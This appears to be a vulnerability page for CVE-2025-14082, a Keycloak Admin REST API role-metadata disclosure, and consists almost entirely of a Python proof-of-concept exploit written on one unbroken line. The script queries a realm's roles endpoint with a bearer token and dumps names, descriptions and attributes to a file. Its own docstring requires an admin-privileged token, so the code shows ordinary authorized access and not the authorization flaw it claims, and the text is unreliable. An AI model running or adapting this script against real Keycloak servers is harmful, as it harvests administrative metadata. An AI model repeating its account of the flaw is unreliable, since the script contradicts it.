CVE-2025-14082 Keycloak Admin REST API 敏感角色元数据信息泄露漏洞

import requests import json # CVE-2025-14082 PoC - Keycloak Admin REST API Information Disclosure # Description: Insufficient authorization checks on /admin/realms/{realm}/roles endpoint # allows disclosure of sensitive role metadata def exploit_cve_2025_14082(keycloak_url, realm, access_token): """ Exploit for CVE-2025-14082: Keycloak Admin REST API role metadata disclosure Args: keycloak_url: Base URL of Keycloak server (e.g., https://keycloak.example.com) realm: Target realm name access_token: Valid access token with admin privileges Returns: JSON response containing role metadata """ headers = { 'Authorization': f'Bearer {access_token}', 'Content-Type': 'application/json' } # Vulnerable endpoint - /admin/realms/{realm}/roles url = f"{keycloak_url}/admin/realms/{realm}/roles" print(f"[*] Target: {url}") print(f"[*] Realm: {realm}") print("[*] Attempting to retrieve sensitive role metadata...") try: response = requests.get(url, headers=headers, timeout=30) if response.status_code == 200: roles = response.json() print(f"[!] SUCCESS: Retrieved {len(roles)} role entries") print("[*] Sample role metadata:") # Display sensitive metadata that should not be accessible for role in roles[:5]: # Show first 5 roles print(f" - Role: {role.get('name', 'N/A')}") print(f" Description: {role.get('description', 'N/A')}") print(f" Attributes: {role.get('attributes', {})}") return roles elif response.status_code == 401: print("[-] FAILED: Unauthorized - Invalid or expired token") elif response.status_code == 403: print("[-] FAILED: Forbidden - Insufficient permissions") else: print(f"[-] FAILED: HTTP {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] ERROR: {str(e)}") return None # Example usage if __name__ == "__main__": # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" ACCESS_TOKEN = "your-admin-access-token-here" # Execute exploit result = exploit_cve_2025_14082(KEYCLOAK_URL, REALM, ACCESS_TOKEN) if result: print("\n[*] Exploit completed - sensitive metadata retrieved") # Save full response for analysis with open('role_metadata_dump.json', 'w') as f: json.dump(result, f, indent=2) print("[*] Full data saved to role_metadata_dump.json")